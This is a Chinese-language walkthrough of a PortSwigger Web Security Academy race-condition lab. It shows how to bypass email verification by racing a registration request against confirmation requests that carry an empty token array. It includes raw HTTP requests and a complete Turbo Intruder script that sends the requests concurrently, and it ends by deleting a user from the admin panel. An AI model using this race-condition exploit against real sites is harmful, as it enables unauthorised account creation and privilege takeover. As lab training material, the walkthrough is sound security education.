第六关 构造部分条件竞争
这一关就是构造部分请求和靶场中存在的漏洞点的请求,形成竞争关系,绕过电子邮件验证限制,获取目标用户密码,实现得到管理员权限
提示:1、靶场包含用户注册机制。通过竞争条件,您可以绕过电子邮件验证,并使用您不拥有的任意电子邮件地址进行注册。
具体操作:
1、先按照正常流程进行注册用户,尝试了下发现只能以@ginandjuice.shop这个邮件地址进行用户注册

然后跳转到页面“Please check your emails for your account registration link”
但是我无权访问 @ginandjuice.shop 电子邮件帐户,因此无法访问邮想客户端,点击注册有效的确认链接。
我去burp中,研究了下代理历史记录,发现有一个获取 /resources/static/users.js 的请求
研究了下js:<script src=/resources/static/users.js ></script>
这会动态生成一个确认页面的表单,该表单可能是从确认电子邮件链接的,

查看/resources/static/users.js请求的响应正文,最终确认是通过 POST 请求提交给 /confirm 的,并在查询字符串中提供了令牌。

发现burp代理历史记录中没有相关的提交确认的的请求数据包
那么尝试下构造个确认提交注册页面的请求数据包
在 Burp Repeater 中,创建与浏览器单击确认链接时可能发送的内容等效的请求
POST /confirm?token=1 HTTP/2
Host: 0ae700ba0392a68e8017f858003e000e.web-security-academy.net
Content-Type: x-www-form-urlencoded
Content-Length: 0
构造好请求后,点击发送,会弹出框,点击OK就行

尝试先任意提交token的值比如token=1,响应返回:错误的参数

然后再做尝试删除?token=1,那么请求响应返回"Missing parameter: token"
然后再做尝试提交空令牌参数token= ,请求响应返回"Forbidden"

分析完,发现提交用户注册请求时和当新生成的注册令牌实际存储在数据库中时(也就是生成了注册的链接),这两个请求之间可能存在竞争的窗口
尝试不同的方式提交值等于 null 的 token 参数:
POST /confirm?token[]=
响应返回:错误的数组
收到的不是 Forbidden 响应,而是"Incorrect token: Array"响应,这表明已成功传入一个空数组,该数组可能与未初始化的注册令牌匹配。

接下来做并发测试
先将 POST /register 请求发送到 Burp Repeater

在单独的“重复器”选项卡中,使用任意令牌构造确认请求,就是上面使用过的确认的数据包:
POST /confirm?token=1 HTTP/2
Host: 0ae700ba0392a68e8017f858003e000e.web-security-academy.net
Cookie: phpsessionid=RN1W2QZ9SyaSRJzauiiKKnLA9dykYcmZ
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
注意已经注册存在的用户,就不要发送了
比如:这个test8之前已经发过了,这里再发送一次就不行了,要改用户名
创建标签组,实现并发

更改用户名后,生成了注册链接

然后看下并发的这两个请求的响应时间
这个确认表单页面的请求响应是339

提交注册请求的速度是529

发现确认生成电子邮件链接的响应到达速度始终比对注册请求的响应快得多
由于确认响应的处理速度总是要快得多,因此我需要延迟此响应,以便它落在竞赛窗口内
创建标签组后
先选中提交注册的数据包
1、鼠标左键滑动,突显username的值
2、把请求发往turbo插件

在Turbo插件里:
1、用户名位置的值突显后,自动标记为带有占位符%s有效载荷位置
2、这个邮箱地址改成新的没有被注册过的
3、选择这个examples/race-single-packet-attack.py并发选项
4、把我构造的确认页面的请求复制到这里
5、代码中username那里改成了‘admin’+ ,或者也可以改成其他名字
编辑脚本代码:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0ae700ba0392a68e8017f858003e000e.web-security-academy.net
Cookie: phpsessionid=0z9c1qgsuQU3XL1v9tgbnPmDoxWq1Bgq
Content-Length: 0
'''
for attempt in range(20):
currentAttempt = str(attempt)
username = 'admin' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
def handleResponse(req, interesting):
table.add(req)
点击开始攻击

并发成功,爆出多个200,我这里选了admin1:123456,其他尝试了不行

用并发爆破注册出来的用户和密码:登录成功 admin1:123456,多了管理界面

删除carlos用户,靶场过关
